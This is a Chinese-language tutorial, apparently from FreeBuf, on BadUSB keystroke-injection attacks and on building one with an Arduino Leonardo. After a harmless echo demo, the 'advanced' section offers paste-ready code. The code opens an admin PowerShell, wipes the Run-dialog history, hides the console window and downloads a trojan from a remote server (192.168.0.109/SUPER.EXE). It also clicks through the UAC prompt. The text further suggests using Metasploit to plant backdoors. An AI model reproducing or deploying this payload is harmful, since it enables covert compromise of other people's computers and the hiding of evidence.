*本文原創作者:維克斯
000 介紹
本文想以較簡單的方式,敘述Arduino版BadUSB的制作過程。我知道在這之前已經有很多前輩都寫過相關的文章,但小白可能還有點迷糊,所以這篇文章是快速帶大家入門了解,我也是菜B大神不要噴,謝謝~。
“BadUSB”是計算機安全領域的熱門話題之一,該漏洞由Karsten Nohl和Jakob Lell共同發現,并在2014年的BlackHat安全大會上公布。 雖然已隔一兩年,但還是有人在研究它,它的攻擊方式也多種多樣。
第一部分相關BadUSB介紹轉載于:https://security.tencent.com/index.php/blog/msg/74
BadUSB原理
在介紹BadUSB的原理之前,筆者在這里先介紹下BadUSB出現之前,利用HID(Human InterfaceDevice,是計算機直接與人交互的設備,例如鍵盤、鼠標等)進行攻擊的兩種類型。分別是”USB RUBBERDUCKY”和”Teensy”。
TEENSY介紹
攻擊者在定制攻擊設備時,會向USB設備中置入一個攻擊芯片,此攻擊芯片是一個非常小而且功能完整的單片機開發系統,它的名字叫TEENSY。通過TEENSY你可以模擬出一個鍵盤和鼠標,當你插入這個定制的USB設備時,電腦會識別為一個鍵盤,利用設備中的微處理器與存儲空間和編程進去的攻擊代碼,就可以向主機發送控制命令,從而完全控制主機,無論自動播放是否開啟,都可以成功。
關于TEENSY,可以參考天融信阿爾法實驗室的《HID攻擊之TEENSY實戰》
USB RUBBER DUCKY介紹
簡稱USB橡皮鴨,是最早的按鍵注入工具,通過嵌入式開發板實現,后來發展成為一個完全成熟的商業化按鍵注入攻擊平臺。它的原理同樣是將USB設備模擬成為鍵盤,讓電腦識別成為鍵盤,然后進行腳本模擬按鍵進行攻擊。
這兩種攻擊方式,是在BadUSB公布之前,比較流行的兩種HID攻擊方式,缺陷在于要定制硬件設備,通用性比較差。但是BadUSB就不一樣了,它是在“USB RUBBER DUCKY”和“Teensy”攻擊方式的基礎上用通用的USB設備(比如U盤)。
U盤的內部構造
U盤由芯片控制器和閃存兩部分組成,芯片控制器負責與PC的通訊和識別,閃存用來做數據存儲;閃存中有一部分區域用來存放U盤的固件,它的作用類似于操作系統,控制軟硬件交互;固件無法通過普通手段進行讀取。
BadUSB就是通過對U盤的固件進行逆向重新編程,相當于改寫了U盤的操作系統而進行攻擊的。
USB協議漏洞
為什么要重寫固件呢?下面我們可以看看USB協議中存在的安全漏洞。
現在的USB設備很多,比如音視頻設備、攝像頭等,因此要求系統提供最大的兼容性,甚至免驅;所以在設計USB標準的時候沒有要求每個USB設備像網絡設備那樣占有一個唯一可識別的MAC地址讓系統進行驗證,而是允許一個USB設備具有多個輸入輸出設備的特征。這樣就可以通過重寫U盤固件,偽裝成一個USB鍵盤,并通過虛擬鍵盤輸入集成到U盤固件中的指令和代碼而進行攻擊。
BadUSB利用代碼分析
筆者對KarstenNohl和Jakob Lell公布的代碼進行簡單的一個流程解析。
這樣一個帶有惡意代碼的U盤就產生了,更詳細的可以搜索Karsten Nohl 和 Jakob Lell公布的代碼。
001 制作過程
好的廢話咱們不多說了,直接開始吧~我們就是利用Arduino制作TEENSY 。Arduino是讓一種叫做單片機的小型可編程電腦盡可能簡單地被使用,并且單片機可以讓物體獲得交互功能。
來看一下我們需要準備的材料吧
Arduino Leonardo //小型單片機模擬USB
Arduino IDE //用于燒錄代碼的編譯器 http://www.arduino.cn/thread-5838-1-1.html
安卓數據線 //用于連接電腦USB
PC一臺 //ok我們可以開工了
擴展:追求完美的同學可以考慮 ——超短micro轉USB
Arduino Leonardo 單片機我們可以去各大電商平臺上去淘,特別是什么貨都有的電商平臺,相信你絕對能找到的。
我本來已經買好micro轉USB了 結果當我拿起他們兩個準備啪啪啪的時候~~~~
當場蒙逼,告訴我為什么插不進去~~~~ 算了當作紀念吧 ,所以我先當個炮灰,希望其他小伙伴不要和我一樣~~
感興趣的可以考慮一下這個玩意 名字叫做OTG轉接頭 我已經再一次交出了我的身體 發現是真的。。。。 可以有!
好~大家先把arduino IDE先裝好 安裝過程很簡單 就是下一步下一步,沒什么難度。
安裝好以后打開IDE。
打開我們的IDE
IDE改版后,啟動界面也變了,以前的版本不是這樣的。打開以后是這樣子的:
那好我們就開始編寫代碼,不過在這之前我們要先把Arduino Leonardo插上。然后我們先保存一下這個項目文件,建議大家直接保存在桌面。
然后會在桌面上多出一個demo文件夾
文件夾內就是我們的demo文件。好~我們開始編寫代碼:
void setup() {
// put your setup code here, to run once:
}
這段代碼就是初始化我們的程序。
void loop() {
// put your main code here, to run repeatedly:
}
這段代碼是我們要循環的地方。
以上只是程序給我們搭好的框架,實際代碼要我們自己去編寫。我們讓USB對電腦進行操作主要是想實現自動化鍵盤操作,所以我們這邊就要用到arduino的鍵盤函數
#include
Keyboard.begin(); //開啟鍵盤通信
Keyboard.press(); //按下某個鍵
Keyboard.release(); //釋放某個鍵
Keyboard.println(); /*輸入某些內容 和一些網上的解釋不同 網上解釋是輸入內容并且能回車,而我測試的時候并不能回車 可能和版本有關 不要不要擔心有辦法回車*/
Keyboard.end(); //結束鍵盤通信
OK,以上就是我們主要使用到的函數。
那好現在我寫一些簡單代碼,然后大家可以感性地知道 代碼的含義:
#include
void setup(); //初始化
Keyboard.begin();//開始鍵盤通信
delay(1000);//延時1000毫秒,不要太短,因為每天電腦的運行速度都不一樣
Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 這里我們最好這樣寫 不然大多數電腦在中文輸入的情況下就會出現問題
Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵
delay(500);
Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵
delay(500);
Keyboard.press('r');//按下r鍵
delay(500);
Keyboard.release(KEY_LEFT_GUI);//松掉win鍵
Keyboard.release('r');//松掉r鍵
delay(500);
Keyboard.println("cmd");//輸入cmd進入DOS
delay(500);
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
delay(500);
Keyboard.println("echo first test");
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
delay(500);
Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵
Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 我們再次關閉開啟的大寫鍵
delay(500);
Keyboard.end();//結束鍵盤通訊
}
void loop()//循環,這里的代碼
{
//循環體 寫入你要循環的代碼
}
那好現在我們把代碼寫到IDE里面去。
然后我們要選擇正確的開發板和COM口,每臺電腦都不一樣的。
一切準備就緒我們點擊編譯,看看程序是否能正常執行。
提示這些說明我們編譯成功。
那么我們離成功就是最后一步了——上傳。
提示
上傳成功后,電腦會自動斷開USB,然后又會重新連接,那么 Arduino Leonardo就會自動運行了。我們來看看:
首先開啟大寫鍵 然后打開了運行窗口 然后輸入了CMD 接著要回車了
然后程序自己輸入 echo first test 并且執行回車~~!! 大功告成~!
以上就是利用Arduino Leonardo實現自動化的ehco操作,模擬一個BadUSB。
002 進階
那么我分享一下我的代碼——主要實現的功能就是從遠程服務器上下載我們木馬然后執行,并且不會產生記錄,和網上的同學實現的目的是一樣的,但代碼可能有所偏差。好那么看代碼,因為篇幅原因,我就直接貼出,主要實現代碼塊。
有需要的同學自行黏貼
Keyboard.println("powershell.exe -command start-process powershell -verb runAs"); /*開啟管理員級別的powershell*/
Keyboard.println("reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f"); /*清除運行窗口產生的記錄*/
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //讓cmd窗口變成一個很小的窗口
Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定義一個對象
Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\SUPER.EXE')"); /*從服務端下載病毒 服務器地址和木馬自己指定 還有木馬將在目標機上存放的地址 自己設置*/
//自己想了一個比較笨的方法繞過UAC 就是詢問管理員是否同意的那個框框
Keyboard.press(KEY_LEFT_ARROW); //按住左方向鍵
Keyboard.release(KEY_LEFT_ARROW); //釋放左方向鍵
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN);//釋放enter鍵
注意~
1.這里我們為什么要開管理員的powershell 是因為從服務端下載文件的時候 首先CMD不支持,其次就算我們在cmd里調用powershell 那也不是管理員身份下載會出錯。所以我們這里要開管理員的powershell 其實下載文件的操作code還有很多種 我這里是一種 如果大家有更好的下載方式可以和我說 謝謝 命令千奇百怪大家自己發揮
2.另外要注意的地方是在IDE編程的時候,指定目錄是要用\ 雙斜杠。
3.這些命令字母的大小寫是這樣的,因為我們在程序開頭執行了開啟大寫鍵的這個操作 ,所以我們想還原真實的字母就要在IDE里面把小寫的改成大寫,大寫的改成小寫 這樣程序輸出的時候就是我們想要的結果
4.還有就是delay(); 延這個東西自己把握,不是說值都是唯一的。我這里可能相對來說比較慢
最后附上鍵值對照表
Key Hexadecimal value Decimal value
KEY_LEFT_CTRL 0x80 128
KEY_LEFT_SHIFT 0x81 129
KEY_LEFT_ALT 0x82 130
KEY_LEFT_GUI 0x83 131
KEY_RIGHT_CTRL 0x84 132
KEY_RIGHT_SHIFT 0x85 133
KEY_RIGHT_ALT 0x86 134
KEY_RIGHT_GUI 0x87 135
KEY_UP_ARROW 0xDA 218
KEY_DOWN_ARROW 0xD9 217
KEY_LEFT_ARROW 0xD8 216
KEY_RIGHT_ARROW 0xD7 215
KEY_BACKSPACE 0xB2 178
KEY_TAB 0xB3 179
KEY_RETURN 0xB0 176
KEY_ESC 0xB1 177
KEY_INSERT 0xD1 209
KEY_DELETE 0xD4 212
KEY_PAGE_UP 0xD3 211
KEY_PAGE_DOWN 0xD6 214
KEY_HOME 0xD2 210
KEY_END 0xD5 213
KEY_CAPS_LOCK 0xC1 193
KEY_F1 0xC2 194
KEY_F2 0xC3 195
KEY_F3 0xC4 196
KEY_F4 0xC5 197
KEY_F5 0xC6 198
KEY_F6 0xC7 199
KEY_F7 0xC8 200
KEY_F8 0xC9 201
KEY_F9 0xCA 202
KEY_F10 0xCB 203
KEY_F11 0xCC 204
KEY_F12 0xCD 205
當然我這邊的代碼還比較簡單沒有什么控制語句和其他函數,有興趣的同學可以看看這方便的編程知識,讓這個BadUSB更加智能,會判斷。
大家也可以結合Metasploit 進行后門、木馬的植入,或者一些批處理文件,把自己電腦搞得亂七八糟,哈哈…
本文可能存在攻擊性,請勿用于非法用途。個人研究完全沒問題,一切責任與本人無關,如有不足的地方希望指點,謝謝。
參考文獻:
http://www.myhack58.com/Article/60/76/2014/56812.htm
http://zone.wooyun.org/content/17931
http://www.freebuf.com/articles/terminal/6182.html
https://security.tencent.com/index.php/blog/msg/74
* 本文原創作者:維克斯,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載。